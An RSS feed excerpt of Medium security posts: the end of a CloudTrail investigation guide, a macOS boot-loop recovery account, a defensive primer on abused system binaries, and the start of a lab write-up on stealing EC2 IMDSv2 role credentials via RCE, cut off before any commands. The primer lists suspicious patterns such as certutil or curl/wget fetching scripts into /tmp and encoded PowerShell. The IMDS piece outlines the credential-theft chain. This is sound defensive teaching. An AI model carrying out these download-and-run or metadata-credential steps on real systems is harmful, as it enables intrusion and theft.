couldn&#39;t</em> do, the role&#39;s limits and their intent (tried CreateUser, got denied → they wanted persistence). The successful readOnly=false calls show the actual damage. Denials reveal intent; successes reveal impact.</p><p><strong>5. Hunt persistence.</strong> Look for CreateUser, CreateAccessKey, AttachUserPolicy, UpdateAssumeRolePolicy, CreateLoginProfile under this session/IP. If they made a new key or user, <strong>that&#39;s a second thread</strong> pull its activity too, because they&#39;ll switch to it after you rotate the first credential.</p><p><strong>6. Check anti-forensics.</strong> Did StopLogging, DeleteTrail, DeleteDetector, or DeleteFlowLogs appear? If yes, logs may be incomplete from that timestamp note the blind spot explicitly, and lean on your centralized org trail (which the workload-account attacker can&#39;t reach) for ground truth.</p><p><strong>7. Assess exfil.</strong> Look for the snapshot/AMI sharing moves and, if data events are on, the S3 read patterns. Any ModifySnapshotAttribute / ModifyImageAttribute / PutBucketPolicy changing <em>who can access</em> a resource is data leaving without an obvious download.</p><p><strong>8. Timeline and sweep.</strong> Build a clean UTC timeline (with eventIDs), then take every IOC — attacker IPs, created usernames, new key IDs and search the <em>entire</em> log set (all accounts, all regions, wider window). That&#39;s how you catch the second foothold and confirm blast radius. If log file validation was on, run aws cloudtrail validate-logs over the incident window to prove your evidence wasn&#39;t tampered with. Example query:</p><pre>aws cloudtrail validate-logs \<br>  --trail-arn arn:aws:cloudtrail:us-east-1:123456789012:trail/my-trail \<br>  --start-time 2026-02-14T00:00:00Z \<br>  --end-time 2026-02-15T00:00:00Z</pre><p>Then contain: rotate/disable creds, revoke sessions, remove persistence.</p><p><strong>The loop:</strong> pin an identifier, pull its full activity, read it in order, split success from failure, branch on every new identity or IP, map the blind spots, sweep everything for IOCs. Run it enough and it’s muscle memory.</p><h3>Part 8: Queries you’ll reach for constantly</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*ObYzIabV3Rj7JqOg.gif" /></figure><p>Written for the <strong>AWS-provided Athena table</strong> (CloudTrail Lake’s dialect differs slightly — eventTime is a real timestamp there, and nested fields are accessed a little differently). If you read CloudTrail through a SIEM instead — SentinelOne, Splunk, Sentinel, Elastic — you won&#39;t type this exact SQL, and that&#39;s fine: the value here isn&#39;t the dialect, it&#39;s <em>which fields and events to look at</em>. The same errorCode burst, the same StopLogging tripwire, the same stolen-key trace all translate directly into your platform&#39;s query language (the field names may render as userIdentity.accessKeyId or a flattened user_identity_access_key_id, but they&#39;re the same fields). Learn the logic once; run it anywhere.</p><p><strong>Failed (denied) calls — “what’s being probed”:</strong></p><pre>SELECT eventTime, useridentity.arn, eventName, sourceIPAddress, errorCode<br>FROM   cloudtrail_logs<br>WHERE  errorCode IN (&#39;AccessDenied&#39;, &#39;Client.UnauthorizedOperation&#39;, &#39;UnauthorizedOperation&#39;)<br>  AND  from_iso8601_timestamp(eventTime) &gt; current_timestamp - interval &#39;24&#39; hour<br>ORDER  BY eventTime DESC;</pre><p><strong>Console logins without MFA:</strong></p><pre>SELECT eventTime, useridentity.arn, sourceIPAddress,<br>       json_extract_scalar(additionalEventData, &#39;$.MFAUsed&#39;) AS mfa_used<br>FROM   cloudtrail_logs<br>WHERE  eventName = &#39;ConsoleLogin&#39;<br>  AND  json_extract_scalar(responseElements, &#39;$.ConsoleLogin&#39;) = &#39;Success&#39;<br>  AND  json_extract_scalar(additionalEventData, &#39;$.MFAUsed&#39;) = &#39;No&#39;<br>ORDER  BY eventTime DESC;</pre><p><strong>Anyone touching CloudTrail — the anti-forensics tripwire:</strong></p><pre>SELECT eventTime, useridentity.arn, eventName, sourceIPAddress<br>FROM   cloudtrail_logs<br>WHERE  eventName IN (&#39;StopLogging&#39;, &#39;DeleteTrail&#39;, &#39;UpdateTrail&#39;, &#39;PutEventSelectors&#39;)<br>ORDER  BY eventTime DESC;</pre><p><strong>Root activity — should be near-empty (console logins included):</strong></p><pre>SELECT eventTime, eventName, sourceIPAddress, awsRegion<br>FROM   cloudtrail_logs<br>WHERE  useridentity.type = &#39;Root&#39;<br>ORDER  BY eventTime DESC;</pre><p><strong>Trace one stolen credential’s whole session:</strong></p><pre>SELECT eventTime, eventName, sourceIPAddress, errorCode, requestParameters<br>FROM   cloudtrail_logs<br>WHERE  useridentity.accesskeyid = &#39;ASIAEXAMPLE1234567&#39;<br>ORDER  BY eventTime ASC;</pre><p>Keep these in a snippet file. Mid-incident you don’t want to write SQL from a blank page.</p><h3>Part 9: Gotchas that catch everyone</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/360/0*PeJOLaZFqux-84xK.gif" /></figure><ul><li><strong>Data events are off by default:</strong> You get zero S3 read or Lambda invoke history unless someone turned it on <em>before</em> the incident.</li><li><strong>The STS regional trap:</strong> Global services log to us-east-1, but modern SDKs call regional STS endpoints—so AssumeRole and GetCallerIdentity log in the caller&#39;s local region. Don&#39;t only check us-east-1.</li><li><strong>Cross-region duplication:</strong> Global events sent to multiple regions share a sharedEventId. Dedupe by this ID in SQL so you don&#39;t double-count API calls.</li><li><strong>eventName isn&#39;t the console button:</strong> One UI click can silently trigger a differently named API call (or several across multiple services). Always filter by eventName, not the UI button name.</li><li><strong>sourceIPAddress isn&#39;t always an IP:</strong> For AWS service-to-service calls, it&#39;s a DNS name (like cloudformation.amazonaws.com). For console clicks, it&#39;s the human&#39;s browser IP.</li><li><strong>Temp-credential IPs move:</strong> An AssumedRole event logs the IP where the creds are <em>used</em>, not where they were assumed. That IP mismatch is your core exfiltration detection, not a bug.</li><li><strong>Not literally everything is logged:</strong> Some high-volume data-plane operations aren’t supported. Check the AWS docs before assuming an attacker wiped a missing event</li><li><strong>Protect the logs from the workload:</strong> If the trail’s bucket and config live in the workload account, an admin-level attacker there can delete both. Put the org trail in a separate, locked-down account with S3 Object Lock / MFA-delete. Don’t audit into a bucket the attacker can wipe.</li></ul><h3>Part 10: Make it useful before you need it</h3><p>CloudTrail’s value in an incident is decided <em>before</em> the incident. If you have any say, push for:</p><p>1. A <strong>multi-region organization trail</strong> into a <strong>dedicated, locked-down log-archive account</strong> — one tamper-resistant source of truth. Manage it from a <strong>delegated administrator</strong> account so security ops don’t need standing access to the management account.</p><p>2. <strong>Log file validation on.</strong> CloudTrail then writes hourly <strong>digest files</strong> — SHA-256 hashes of each log file, signed with an RSA key — into the bucket. aws cloudtrail validate-logs proves no log file was altered or deleted between two timestamps. This is your chain of custody: it turns &quot;we think the logs are complete&quot; into &quot;we can prove it.&quot; Don&#39;t skip this.</p><p>3. <strong>S3 Object Lock (or MFA-delete)</strong> on the log bucket, so logs outlive the attacker’s admin access.</p><p>4. <strong>Data events on your genuinely sensitive buckets</strong> (not all of S3 — pick the crown jewels), plus Lambda where it matters. Scope them with <strong>advanced event selectors</strong> (by bucket ARN prefix, resources.type, or readOnly) so you log GetObject on three buckets instead of paying for all of S3. On management events you can likewise choose <strong>Read-only, Write-only, or All</strong>.</p><p>5. <strong>CloudTrail Insights on</strong> as a cheap call-rate/error-rate anomaly tripwire.</p><p>6. <strong>A short list of high-signal real-time alerts:</strong> StopLogging, root usage, ConsoleLogin without MFA, AttachUserPolicy of AdministratorAccess, UpdateAssumeRolePolicy, CreatePolicyVersion, CreateAccessKey on privileged users, GuardDuty detector deletion. A few high-signal alerts beat a hundred noisy ones.</p><p>7. <strong>Your investigation queries saved and parameterized</strong> so day one of an incident is copy-paste, not authoring.</p><p>Do those and CloudTrail stops being a scary wall of JSON and becomes what it should be: a complete, tamper-resistant, queryable record of everything that ever happened in your cloud.</p><h3><strong>Where to go from here?</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*NO3LJyw_I30nLCd9.gif" /></figure><p>Don’t just read this. Open your own Event History right now and read ten real events end to end using Part 4 as a map find one of your ConsoleLogins, one AssumeRole, one CreateAccessKey, and trace a single role session across a few events. Twenty minutes on logs you can actually verify will teach you more than any theory.</p><p>The responders who stay calm during a live cloud incident aren’t calm because they memorized JSON schemas. They stay calm because they’ve read thousands of <em>ordinary</em> CloudTrail events so the weird ones look weird instantly.</p><p>That fluency isn’t magic. It’s muscle memory — and it starts with the next event you read.</p><p><strong>Thanks for reading.</strong> <em>I write about the security lessons I had to learn the hard way on the front lines of the SOC. If you spot an edge case I missed or have your own CloudTrail battle stories, drop a comment below — or reach out on </em><a href="https://www.google.com/search?q=https://linkedin.com/in/vo1d"><em>LinkedIn</em></a><em> and </em><a href="https://github.com/indranilroy99"><em>GitHub</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f2b3d64a7736" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/how-to-actually-read-aws-cloudtrail-f2b3d64a7736">How to Actually Read AWS CloudTrail</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Recovered My M1 MacBook Pro From a Boot Loop Without Losing Any Data]]></title>
            <link>https://indranilroy9.medium.com/how-i-recovered-my-m1-macbook-pro-from-a-boot-loop-without-losing-any-data-b239e85b26d3?source=rss-76c76aa53ba------2</link>
            <guid isPermaLink="false">https://medium.com/p/b239e85b26d3</guid>
            <category><![CDATA[data-recovery]]></category>
            <category><![CDATA[troubleshooting]]></category>
            <category><![CDATA[macos]]></category>
            <category><![CDATA[macos-stuck-in-boot-loop]]></category>
            <category><![CDATA[recovery-system]]></category>
            <dc:creator><![CDATA[Indranil Roy]]></dc:creator>
            <pubDate>Wed, 17 Jun 2026 16:33:36 GMT</pubDate>
            <atom:updated>2026-06-17T16:33:36.315Z</atom:updated>
            <content:encoded><![CDATA[<p>What broke, what I checked, and how I got everything back safely</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1cPR1zWHRZU5AxvSbSm7KQ.png" /></figure><p>A few days ago, my M1 MacBook Pro gave me a mini heart attack.</p><p>I had been running the machine continuously for nearly 10 days with:</p><pre>- VMware Fusion running Ubuntu<br>- Multiple AI coding agents<br>- Chrome, Firefox, and Brave with dozens of tabs<br>- Development tools, terminals, and background services</pre><p>Suddenly, the Mac restarted with the dreaded:</p><blockquote><em>“Your Mac restarted because of a problem”</em></blockquote><p>I clicked <strong>Ignore</strong> and expected everything to continue normally.</p><p>Instead, the machine entered a boot loop.</p><blockquote><strong><em>Note:</em></strong><em> This was my specific situation. If your disk is physically failing or Recovery Mode cannot detect your internal drive, your outcome may be different.</em></blockquote><h3>The Symptoms</h3><p>The sequence was always the same:</p><pre>1. Apple logo<br>2. Progress bar<br>3. Restart<br>4. Password prompt<br>5. Repeat</pre><p>Even <strong>Safe Mode</strong> failed.</p><p>At this point, I assumed the worst.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qmqt1uYKiWEWoWxDyn_czQ.png" /><figcaption>The machine kept returning to the same loop after every reboot.</figcaption></figure><p><em>The machine kept returning here after every reboot.</em></p><h3>Step 1: Recovery Mode</h3><p>I booted into Recovery Mode by:</p><pre>- Shutting down the Mac completely<br>- Holding the Power button during startup<br>- Selecting Options<br>- And then Continue</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PE_1wKoAzH0tn1MS04qhoA.png" /><figcaption><em>macOS Recovery screen showing recovery utilities such as reinstalling macOS, restoring from Time Machine, Safari, and Disk Utility.</em></figcaption></figure><h3>Step 2: Run First Aid</h3><p>The first thing I did was run <strong>Disk Utility → First Aid</strong> on every volume.</p><p>Surprisingly, everything came back green. There were no major disk errors.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UC_zFRMA7J5xpYgk6J-XLA.png" /><figcaption>Disk Utility First Aid completed successfully, which suggested the internal disk was still readable and not showing obvious filesystem errors.</figcaption></figure><p>At this point, I knew the disk itself probably was not dead.</p><h3>Step 3: Check the APFS Layout</h3><p>From Recovery Terminal:</p><pre>diskutil apfs list</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9PuQtdg-_T7BW-9xUbOJZg.png" /><figcaption>Illustrative APFS Terminal output</figcaption></figure><p>Two things stood out:</p><pre>- My Data volume was still there (~300GB)<br>- The System volume showed Sealed: Broken</pre><p>That was the clue. My files were likely still there, but the system volume looked damaged.</p><h3>What Was Actually Broken?</h3><p>At first I assumed the SSD had failed or my files were corrupted.</p><p>Neither turned out to be true.</p><p>The APFS inspection showed that the Data volume containing my files was still healthy and intact. The problem appeared to be with the macOS system volume itself. The biggest clue was seeing:</p><pre>Sealed: Broken</pre><p>on the system volume.</p><p>Modern versions of macOS use a cryptographically sealed system volume. If that seal becomes invalid or corrupted after a crash, the machine may fail to boot even though your files are still present.</p><p>In my case, a non-destructive macOS reinstall repaired the operating system while preserving the Data volume and all of my files.</p><h3>Step 4: Reinstall macOS</h3><p>Instead of erasing the disk, I chose:</p><p><strong>Reinstall macOS</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oNB2GV4EZhD01O7e3jhB_Q.png" /></figure><p>This is where many people panic. A reinstall is not the same thing as an erase. The installer replaces macOS system files while keeping the Data volume intact.</p><h3>The Long Wait</h3><p>The installer estimated:</p><pre>- 4 hours<br>- Then 6 hours<br>- Then changed again</pre><p>Eventually it rebooted several times.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tr0fBLax8npUkrehf_J-GQ.png" /></figure><p>At this stage, patience is your best troubleshooting tool.</p><h3>The Result</h3><p>A few reboots later:</p><pre>- My account was still there<br>- Chrome bookmarks were intact<br>- Saved passwords were intact<br>- VMware files were intact<br>- Development environment was intact<br>- Work files were intact<br>- The machine booted normally.</pre><h3>Lessons Learned</h3><pre>1. Don&#39;t assume a boot loop means data loss.<br>2. Run First Aid before doing anything destructive.<br>3. Check your APFS volumes.<br>4. Reinstall macOS before considering an erase.<br>5. Modern macOS is surprisingly resilient.</pre><p>What looked like a catastrophic failure turned out to be a damaged macOS system volume.</p><p>The biggest lesson wasn’t how to fix a boot loop.</p><p>It was understanding the difference between a broken operating system and lost data.</p><p>Before erasing a machine, take a few minutes to inspect what’s actually broken. Recovery Mode, First Aid, and a quick look at the APFS layout told me far more than panic ever could.</p><p>In my case, the files were never gone. The operating system was.</p><p>Hope you enjoyed reading this blog and found it useful. <br>Cheers!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b239e85b26d3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Intro to System Binary Proxies]]></title>
            <link>https://systemweakness.com/intro-to-system-binary-proxies-9909e8b886e6?source=rss-76c76aa53ba------2</link>
            <guid isPermaLink="false">https://medium.com/p/9909e8b886e6</guid>
            <category><![CDATA[system-binary-proxy]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[opsec]]></category>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[lolbin-abuse]]></category>
            <dc:creator><![CDATA[Indranil Roy]]></dc:creator>
            <pubDate>Mon, 15 Jun 2026 16:35:15 GMT</pubDate>
            <atom:updated>2026-06-16T09:14:54.170Z</atom:updated>
            <content:encoded><![CDATA[<p>Simplifying Automation and Understanding Risks</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/0*z5Ga6Gsof4SUjBpS" /><figcaption>credits :<a href="https://www.convertbinary.com/blog/binary-number-system-history/">convertbinary.com</a></figcaption></figure><h3>Introduction</h3><p>Every operating system comes with built-in tools that make administration and automation easier.</p><p>On Windows, tools like <strong>cmd.exe</strong>, <strong>powershell.exe</strong>, <strong>rundll32.exe</strong>, <strong>regsvr32.exe</strong>, <strong>mshta.exe</strong>, and <strong>certutil.exe </strong>are used for administration, scripting, troubleshooting, and file handling. On Linux and macOS, tools like <strong>bash</strong>, <strong>sh</strong>, <strong>python</strong>, <strong>curl</strong>, <strong>wget</strong>, <strong>ssh</strong>, and <strong>scp</strong> serve similar purposes.</p><p>These tools are trusted because they are part of the operating system and are used in everyday operations. But that same trust can create risk. When built-in binaries are used to execute commands, download files, launch scripts, or start other processes, they can act as system binary proxies.</p><p>In simple terms, a system binary proxy is a legitimate system tool that performs an action on behalf of a user, script, application, or another process.</p><p>This blog explains why these binaries are useful, how they can be abused, and what signals are worth checking during investigation.</p><h3>What Are System Binary Proxies?</h3><p>System binary proxies are legitimate executables already present on a system. They are not malicious by default. Most of them exist to help the operating system or users perform common tasks. <br>Examples include:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R2B1FrDRsX7vn2YE1nfPBg.png" /><figcaption>Examples of common system binaries across Windows, Linux, and macOS.</figcaption></figure><p>These binaries can run commands, execute scripts, load libraries, transfer files, query system information, or interact with the network.</p><p>The key idea is simple:</p><blockquote>The binary itself is usually legitimate. The risk depends on how, where, and why it is being used.</blockquote><p>For example, <strong>powershell.exe</strong> running on an administrator’s workstation during a maintenance window may be completely normal. The same <strong>powershell.exe</strong> launched by a browser process, running an encoded command, and connecting to an unknown domain is much more suspicious.</p><h3>Why They Are Useful</h3><p>System binary proxies are widely used because they are already installed, reliable, and flexible.</p><p>Administrators and engineers use them to:</p><pre>- Run maintenance scripts<br>- Install or verify updates<br>- Collect logs<br>- Check system health<br>- Manage users and services<br>- Transfer files<br>- Troubleshoot network issues<br>- Automate repetitive tasks<br>- Run scheduled jobs</pre><p>For example, <strong>PowerShell </strong>can be used to collect Windows event logs from multiple machines. <strong>Bash</strong> can automate backups on Linux servers. <strong>curl</strong> and <strong>wget</strong> can test connectivity or download approved packages. <strong>ssh</strong> and <strong>scp</strong> can support remote administration and file transfer.</p><p>These are normal and useful activities. The benefit is convenience. Teams do not need to install new tools for every task because the operating system already provides many of them.</p><h3>Why They Matter in Security</h3><p>That convenience also creates a security tradeoff.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*dV3IEu1k7ZVRPx67g-h1rg.png" /><figcaption>Example attack chain showing how built-in binaries can be used across different stages of activity.</figcaption></figure><p>Attackers often prefer using built-in tools because they do not need to drop custom malware immediately. If they can use what already exists on the system, their activity may look less unusual at first glance.</p><p>This technique is often known as living off the land.</p><blockquote>The idea is simple: instead of bringing a suspicious binary, abuse trusted tools that are already present.</blockquote><p>That does not mean every use of PowerShell, Bash, Python, or curl is bad. Most usage is legitimate. The challenge is identifying when the behavior does not fit the normal context.</p><p>A useful way to think about it is:</p><blockquote>Binary name alone is not enough.<br>Context is what matters.</blockquote><p>The context includes:</p><pre>- Who ran it?<br>- What launched it?<br>- What arguments were used?<br>- Where did it run from?<br>- Did it connect to the network?<br>- Did it create or modify files?<br>- Was this normal for that host and user?</pre><p>That is why context matters during investigation.</p><h3>Common Abuse Patterns</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*I931RqN9QdwoYWIuVaGxkQ.png" /></figure><p>System binary proxies can be abused in several ways. Some common patterns include:</p><pre>- Running commands through a shell<br>- Executing scripts<br>- Downloading files from external locations<br>- Launching child processes<br>- Running encoded or obfuscated commands<br>- Loading DLLs or scripts through trusted binaries<br>- Creating scheduled tasks or services<br>- Collecting system and network information<br>- Moving files between systems</pre><p>The activity may not look suspicious if viewed in isolation. For example, seeing curl on a Linux server may be normal. Seeing curl launched by a web server process to download an unknown script is different.</p><p>Similarly, rundll32.exe is a legitimate Windows binary. But if it is used to load code from an unusual path or launched by an unexpected parent process, it deserves closer review.</p><h3>Normal Use vs Suspicious Use</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*TNtC2DwtWuGuGUGv6LDadA.png" /></figure><p>A simple example is PowerShell. Normal use might look like this:</p><blockquote>An administrator runs a signed PowerShell script to collect logs during a planned maintenance activity.</blockquote><p>Suspicious use might look like this:</p><pre>- PowerShell is launched by Word, Excel, a browser, or a web server process.<br>- PowerShell runs with encoded or hidden command-line arguments.<br>- PowerShell downloads content from an unknown domain.<br>- PowerShell runs from a temporary directory.<br>- PowerShell is executed by a user who does not normally use it.</pre><p>The tool is the same, but the context is completely different.</p><p>That is why detections should not simply alert every time a built-in tool runs. That creates noise. Better detections focus on behavior that is unusual for the environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*ZkpT_NoSHKJq5iRCypEP5Q.png" /><figcaption>Examples of suspicious parent-child process relationships and command-line patterns.</figcaption></figure><h3>Investigation Signals That Matter</h3><p>When reviewing system binary proxy activity, these signals are usually more useful than the binary name alone.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*Aes_8mdaCSht_iETl6If2A.png" /><figcaption>Key signals to review when investigating system binary proxy activity.</figcaption></figure><h3>Parent Process</h3><p>What launched the binary? Examples worth reviewing —</p><pre>- Office application launching a shell<br>- Browser launching PowerShell<br>- PDF reader launching cmd.exe<br>- Web server process launching bash or curl<br>- Scripting engine launching another scripting engine</pre><p>Parent-child process relationships can quickly show whether the execution path makes sense.</p><h3>Command-Line Arguments</h3><p>Command-line arguments often reveal intent.</p><p>Look for:</p><pre>- Encoded commands<br>- Hidden windows<br>- Download commands<br>- Execution bypass flags<br>- Remote URLs<br>- Temporary file paths<br>- Base64-like strings<br>- Commands chained together</pre><p>A process name may look normal, but the command line can tell a very different story.</p><h3>User Context</h3><p>Ask whether the user normally runs this tool.</p><p>A command executed by a system administrator may be expected. The same command executed by a service account, web server user, or normal business user may need investigation.</p><p>Useful questions:</p><pre>- Was the user expected to run this?<br>- Is this common for the user?<br>- Was the activity during normal working hours?<br>- Was the account recently compromised or locked out?</pre><h3>Network Activity</h3><p>Many system binaries can make network connections or download files.</p><p>Review:</p><pre>- Destination domain or IP<br>- Internal vs external destination<br>- Known or unknown hosting provider<br>- Proxy logs<br>- DNS queries<br>- TLS details where available<br>- User agent<br>- Download size and file type</pre><p>A built-in tool connecting to an unknown external address should be reviewed in context.</p><h3>File and Persistence Activity</h3><p>Some misuse involves writing files, creating services, or setting scheduled tasks.</p><p>Look for:</p><pre>- New files in temp directories<br>- Scripts written to user profile paths<br>- New scheduled tasks<br>- New services<br>- Registry run keys<br>- Modified startup folders<br>- Unexpected permissions changes</pre><p>These changes may show whether the activity was one-time execution or part of a longer attempt to persist.</p><h3>Why Blocking Everything Is Not the Answer</h3><p>It may sound tempting to block these binaries completely. In practice, that usually causes problems.</p><p>Many organizations rely on these tools for daily operations. Administrators need them for troubleshooting, deployments, updates, automation, and recovery.</p><p>A better approach is controlled usage.</p><p>For example:</p><pre>Allow PowerShell for administrators, but restrict it for standard users.<br>Allow signed scripts, but block unsigned scripts.<br>Allow curl or wget only where they are required.<br>Restrict outbound network access from servers.<br>Alert when system binaries are launched by unusual parent processes.<br>Review execution from temporary or user-writable locations.</pre><p>The point is not to remove useful tools, but to make their usage visible, expected, and controlled.</p><h3>Logging That Helps</h3><p>Good logging is what makes this activity understandable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*jzXiplvXcnZs_sIdr_-nEQ.png" /></figure><p>Useful log sources include:</p><pre>Process creation logs<br>Command-line logging<br>PowerShell script block logs<br>Sysmon logs<br>EDR telemetry<br>Windows Event Logs<br>Linux audit logs<br>Shell history where available<br>Web server logs<br>Proxy logs<br>DNS logs<br>Authentication logs<br>Cloud audit logs</pre><p>The fields I would pay closest attention to are:</p><pre>Process name<br>Full command line<br>Parent process<br>User<br>Hostname<br>Working directory<br>File path<br>Hash<br>Network destination<br>Timestamp</pre><p>Without command-line and parent-process visibility, it is very hard to tell whether a trusted binary was used normally or abused.</p><h3>Practical Examples of Suspicious Patterns</h3><p>Here are a few patterns that are worth reviewing in most environments.</p><pre>powershell.exe launched by winword.exe or excel.exe<br>cmd.exe launched by a browser<br>rundll32.exe loading files from a user-writable directory<br>certutil.exe downloading external content<br>mshta.exe connecting to an unknown URL<br>bash launched by a web server process<br>curl or wget downloading scripts into /tmp<br>python executing from an unusual directory<br>ssh or scp used by a service account unexpectedly</pre><p>None of these prove compromise on their own, but they are strong leads to investigate.</p><p>What matters is whether the behavior fits the host, user, and environment.</p><h3>Questions to Ask During Investigation</h3><p>When a system binary proxy appears in an alert or log, ask:</p><pre>Who executed it?<br>What launched it?<br>What command-line arguments were used?<br>Was this expected for the user?<br>Was this expected for the host?<br>Did it connect to the network?<br>Did it download or create files?<br>Was it executed from a normal path?<br>Did it create persistence?<br>Has this happened before?</pre><p>These questions help separate routine administration from suspicious behavior.</p><h3>How to Reduce the Risk</h3><p>A practical hardening approach should include both prevention and detection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pK13Pk-tsSGSpTz-issfNw.png" /></figure><h4>1. Apply Least Privilege</h4><p>Users and service accounts should only have the access they need. If a user does not need administrative shell access, restrict it.</p><h4>2. Restrict Script Execution</h4><p>Use signed scripts, trusted script paths, and execution controls where possible.</p><h4>3. Use Application Control</h4><p>Application allowlisting can reduce unexpected use of risky binaries and scripts, especially on sensitive systems.</p><h4>4. Monitor Command Lines</h4><p>Collect full command-line arguments and parent-child process relationships. This is one of the best ways to understand intent.</p><h4>5. Limit Outbound Access</h4><p>Servers should not have unrestricted internet access unless required. Limit where system binaries can connect.</p><h4>6. Baseline Normal Behavior</h4><p>Understand which binaries are normally used on which systems. This helps reduce noise and identify real anomalies.</p><h4>7. Review Scheduled Tasks and Services</h4><p>Unexpected scheduled tasks or services can indicate persistence or misuse.</p><h3>Key Takeaways</h3><p>System binary proxies are normal parts of an operating system. They help with automation, administration, troubleshooting, and file handling.<br>They become risky when they are used outside the expected context.</p><p>The most important lesson is that the binary name alone does not tell the full story. A trusted binary can still be used in a suspicious way.</p><p>Focus on:</p><pre>Parent process<br>Command-line arguments<br>User context<br>Network behavior<br>File activity<br>That context is what turns raw process activity into useful investigation evidence.</pre><h3>Conclusion</h3><p>System binary proxies are useful because they are trusted, flexible, and available by default. They make everyday administration and automation easier.</p><p>But that same trust can be abused. A built-in tool can execute commands, download files, launch scripts, or connect to the network while appearing normal at first glance.</p><p>The practical approach is to avoid extremes: do not ignore these tools, but do not block them blindly either. The better approach is to understand how they are normally used, restrict unnecessary access, collect the right logs, and investigate behavior that does not fit the environment.</p><p>With the right context, activity from these binaries can become a useful early signal of misuse.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9909e8b886e6" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/intro-to-system-binary-proxies-9909e8b886e6">Intro to System Binary Proxies</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting AWS EC2 IMDSv2 Metadata Through RCE and SSRF]]></title>
            <link>https://systemweakness.com/exploiting-aws-ec2-imdsv2-metadata-through-rce-and-ssrf-93bc5d215c3e?source=rss-76c76aa53ba------2</link>
            <guid isPermaLink="false">https://medium.com/p/93bc5d215c3e</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[red-teaming]]></category>
            <category><![CDATA[incident-response]]></category>
            <dc:creator><![CDATA[Indranil Roy]]></dc:creator>
            <pubDate>Mon, 15 Jun 2026 13:35:50 GMT</pubDate>
            <atom:updated>2026-06-16T09:14:52.116Z</atom:updated>
            <content:encoded><![CDATA[<p>From command execution to IAM credentials, S3 access, and SOC investigation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mIUnkWrfYLPBq-g1X3srnA.png" /></figure><h3>Introduction</h3><p>Cloud incidents do not always start with a leaked access key or a misconfigured S3 bucket. Sometimes, they start with a small web application issue.</p><p>In this lab, the entry point was a vulnerable application running on an AWS EC2 instance. The application accepted user-controlled input and processed it on the server side, which allowed command execution on the instance.</p><p>At first, this looked like an application security issue. But once commands could run on the EC2 instance, the scope changed. The attacker could now interact with internal services that are only reachable from inside the instance, including the AWS Instance Metadata Service, commonly known as IMDS.</p><p>IMDSv2 improves metadata security by requiring a session token before metadata can be accessed. This lab does not show IMDSv2 being directly bypassed. Instead, it shows a more practical lesson:</p><blockquote>IMDSv2 did its job, but RCE changed the threat model.</blockquote><p>Because the attacker had command execution on the EC2 instance, they could request a valid IMDSv2 token from inside the instance and use it to query metadata.</p><p>The attack chain looked like this:</p><pre>Vulnerable web application<br>        ↓<br>Remote command execution on EC2<br>        ↓<br>IMDSv2 token request<br>        ↓<br>EC2 metadata access<br>        ↓<br>IAM role credential exposure<br>        ↓<br>S3 bucket access<br>        ↓<br>SOC detection and response</pre><h3>Lab Note</h3><p>This write-up documents an authorized lab where I reproduced EC2 metadata access through command execution, reviewed the resulting AWS activity, and traced how the event appeared in Jira, Sumo Logic, CloudTrail, and web server logs.</p><h3>Understanding the Attack</h3><p>Before going into the proof of concept, let’s separate the two issues involved: SSRF and RCE.</p><h3>What is SSRF?</h3><p>Server-Side Request Forgery, or SSRF, is a vulnerability that allows an attacker to abuse a server-side application to make HTTP requests on their behalf. If the application accepts user-controlled URLs or command input without proper validation, an attacker may be able to force the server to access internal resources that are not normally exposed to the internet.</p><p>For example, an attacker on the internet cannot directly access the EC2 metadata endpoint:</p><pre>http://169.254.169.254</pre><p>But an application running on an EC2 instance can reach it locally.</p><p>If a vulnerable application accepts a user-supplied URL and fetches it without proper validation, an attacker may be able to make the server request internal services. <a href="https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html?utm_source=chatgpt.com">OWASP </a>recommends defenses such as allow listing trusted destinations and blocking access to internal or link-local addresses when user-controlled URLs are involved.</p><h3>What is RCE?</h3><p>Remote Code Execution, or RCE, means an attacker can run commands on the server.</p><p>In this lab, RCE allowed commands like curl to run directly from the EC2 instance. That made the metadata service reachable from inside the instance, where IMDS is normally accessible.</p><p>So the attack was not a direct 